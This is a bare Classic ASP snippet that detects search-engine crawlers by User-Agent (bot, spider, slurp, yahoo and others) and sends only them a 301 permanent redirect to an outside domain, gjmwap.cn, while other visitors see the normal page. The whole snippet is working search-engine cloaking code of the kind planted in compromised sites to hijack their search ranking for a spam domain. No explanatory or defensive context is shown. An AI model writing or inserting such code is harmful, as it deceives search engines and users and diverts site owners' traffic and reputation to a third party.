Function is_bot()
Dim user_agent,Re
user_agent = lcase(Request.servervariables("Http_User_Agent"))
Set Re = New Regexp
Re.IgnoreCase = True
Re.Global = True
Re.Pattern = "(bot|crawl|spider|slurp|yahoo|sohu-search|lycos|robozilla)"
is_bot = Re.Test(user_agent)
Set Re = Nothing
End Function
If is_bot = True Then
Response.Status="301 Moved Permanently"
Response.AddHeader "Location","http://gjmwap.cn/"
Response.End()
End If